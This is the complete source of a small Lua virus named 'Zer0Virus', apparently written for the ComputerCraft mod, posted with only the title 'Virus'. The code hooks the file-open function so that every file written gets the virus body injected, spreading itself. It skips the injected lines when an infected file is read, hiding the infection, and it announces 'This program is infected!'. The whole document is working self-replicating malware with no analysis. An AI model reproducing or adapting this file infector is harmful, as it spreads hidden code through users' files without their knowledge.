Virus

-- Zer0Virus
local body=[[
local nativeopen=fs.open
local VirBody=...
fs.open=function(path, mode)
  local file=nativeopen(path, mode)
  if file then
    if mode=='r' then
      if file.readLine()=='-- Zer0Virus' then for i=1,19 do file.readLine() end
      else file=nativeopen(path, mode) end
    elseif mode=='w' then
      file.writeLine('-- Zer0Virus')
      file.writeLine('local body='..string.char(91,91))
      file.write(VirBody)
      file.writeLine(string.char(93,93).." loadstring(body,'Zer0Virus')(body)")
      file.flush()
    end
  end
  return file
end]] loadstring(body,'Zer0Virus')(body)
print('This program is infected!')